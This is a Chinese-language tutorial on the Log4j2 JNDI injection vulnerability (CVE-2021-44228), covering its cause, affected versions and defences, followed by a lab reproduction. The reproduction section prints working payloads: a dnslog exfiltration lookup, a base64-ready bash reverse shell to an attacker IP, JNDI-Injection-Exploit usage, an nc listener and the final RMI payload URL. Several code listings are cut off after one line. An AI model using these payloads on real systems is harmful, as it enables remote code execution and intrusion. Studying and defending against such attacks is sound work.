Log4j2漏洞
Log4j2漏洞,特别是CVE-2021-44228,是一个严重的安全漏洞,它允许攻击者通过构造特定的输入,利用**Java命名和目录接口(JNDI)执行远程代码**。以下是对该漏洞的详细解析:
1 漏洞简介
Apache Log4j2是一个基于Java的日志记录工具,被广泛应用于业务系统开发中。它允许开发者将程序的输入输出信息进行日志记录,并可以控制日志信息输送的目的地,如控制台、文件、GUI组件等。然而,在2021年12月,Apache官方披露了Log4j2的一个远程代码执行(RCE)漏洞,编号为CVE-2021-44228。
2 漏洞原理
在输出日志信息时允许开发人员通过相应的协议去请求远程主机上的资源。 而开发人员在处理数据时,并没有对用户输入的信息进行判断,导致Log4j2请求远程主机上的含有恶意代码的资源 并执行其中的代码,从而造成远程代码执行漏洞。
该漏洞的根源在于Log4j2的递归解析功能。当Log4j2在处理日志消息时,如果消息中包含了${开头的字符串,它会被视为一个可替换的变量,并尝试通过JNDI等方式解析该变量的值。攻击者可以构造包含恶意JNDI查询的日志消息,从而触发JNDI注入,最终执行远程代码。
1 | ${data:MM-dd-yyyy} |
JNDI(使用名称来访问对象)
开发人员一般会使用log4j2在日志中输出一些变量,log4j2 除了可以输出程序中的变量,它还提供了多种lookup功能插件,可以用来查找更多数据用于输出。lookup在log4j2中,就是允许在输出日志的时候,通过多种方式去查找要输出的内容,其中就可以使用Jndi Lookup。
JNDl (Java Naming and Directory Interface,JAVA命名和目录接口)它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。JNDI下面有很多目录接口,用于不同的数据源的查找引用。

JNDI可以使用相应目录接口请求普通数据,还可以请求Java对象。而且JNDI支持以命名引用(Naming References)的方式去远程下载一个class文件,然后加载该class文件并构建对象。若下载的是攻击者构建的含有恶意代码的class文件,则会在加载时执行恶意代码。
在这些目录接口中我们可以使用LDAP或RMI去下载远程主机上的cIass文件。
LDAP(轻型目录访问协议)
轻型目录访问协议:是一个开放的,中立的,工业标准的应用协议,通过IP协议提供访问控制和维护分布式信息的目录信息。目录是一个为查询、浏览和搜索而优化的专业分布式数据库,它呈树状结构组织数据,就好像Linux/Unix系统中的文件目录一样。
RMI(远程方法调用)
远程方法调用:它是一种机制,能够让在某个java虚拟机上的对象调用另一个Java虚拟机的对象的方法。
触发过程
log4j2远程代码执行漏洞大致过程(此处使用RMI,LDAP同理):
假如有一个Java程序(登陆框),输错5次密码,将该用户名存储到日志中去,
- 攻击者发送一个HTTP请求,其用户名为${jndi:rmi://rmi服务器地址/Exploit),输错5次密码后将构造好的用户名存入日志,
- 被攻击服务器发现要输出的信息中有${},则其中的内容要单独处理,进一步解析是JNDI扩展内容且使用的是RMI,而后根据RMI服务器地址去请求Exploit。
- RMI服务器返回Reference对象(用于告诉请求端所请求对象所在的类),而该Reference指定了远端文件下载服务器上含有恶意代码的class文件。
- 被攻击服务器通过Reference对象去请求文件下载服务器上的class文件。
- 被攻击服务器下载恶意class文件并执行其中的恶意代码

3 漏洞影响范围
该漏洞影响Apache Log4j 2.0至2.14.1版本。一旦应用程序使用了这些版本的Log4j2,并且允许用户输入日志消息或控制日志消息的生成,就可能受到攻击。
4 漏洞利用方式
攻击者可以通过多种方式利用该漏洞,包括但不限于:
- 构造包含恶意JNDI查询的HTTP请求,发送给使用Log4j2记录HTTP请求日志的应用程序。
- 在应用程序的输入字段中注入恶意JNDI查询,这些输入字段的值会被记录到日志中。
- 通过其他方式触发Log4j2记录包含恶意JNDI查询的日志消息。
5 防御措施
为了防御该漏洞,可以采取以下措施:
- 升级到安全版本:将Log4j2升级到2.15.0或更高版本,这些版本已经修复了漏洞。
- 禁用JNDI功能:如果不需要JNDI功能,可以在Log4j2的配置中禁用它。
- 限制日志消息的输入:对应用程序中所有可能记录到日志的输入进行严格的验证和清理,防止恶意输入。
- 监控和检测:监控应用程序的日志文件和系统日志,以检测可能的JNDI注入攻击。
- 网络隔离:限制应用程序的外部网络访问,特别是对那些可能用于JNDI查询的端口和协议。
6 漏洞复现
6.1 漏洞产生过程模拟
创建一个Maven项目,在pom.xml文件中引l入log4j依赖,指定版本为2.14.1。
1 | <dependency> |
模拟黑客服务器:
- 创建EvilObj类,执行Windows命令打开计算器。
1 | public class Evilobj { |
- 创建RMIServer类,用于开启RMI服务。
1 | public class RMIServer { |
模拟受害主机:
- 创建HackedServer类,模拟攻击者发送信息,受害服务器将对应信息作为error级别日志输出。
1 | public class Hackedserver{ |
6.2 漏洞复现过程
CVE-2021-12-09
初始页面:

点击?????,出现URL参数

可以在payload处进行操作,因为此靶场存在一些过滤,所以payload内容需要进行URL编码之后才能执行。
先使用dnslog外带,来验证漏洞的存在
1 | payload=${jndi:ldap://${sys:java.version}.rpg11t.dnslog.cn} |
如果网页在转圈,说明正在执行,运行一段时间后,回显OK

查看DNSLOG,显示版本号

利用JNDI注入反弹shell:
- 准备反弹shell,并将此命令进行Base64编码
1 | bash -i >& /dev/tcp/192.168.116.75/4444 0>&1 |
- 使用JNDIExploit进行漏洞利用,将上述Base64编码结果 填入指定位置
1 | java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c |

- 在攻击机开启监听
1 | nc -lvp 4444 |
- 选择漏洞利用工具生成的JDK下的URL,修改网页的payload中信息
1 | rmi://192.168.116.75:1099/sshowl |
修改payload,该靶场还需对payload的值进行URL编码
1 | http://192.168.116.67/hello?payload=${jndi:rmi://192.168.116.75:1099/sshowl} |
反弹shell成功。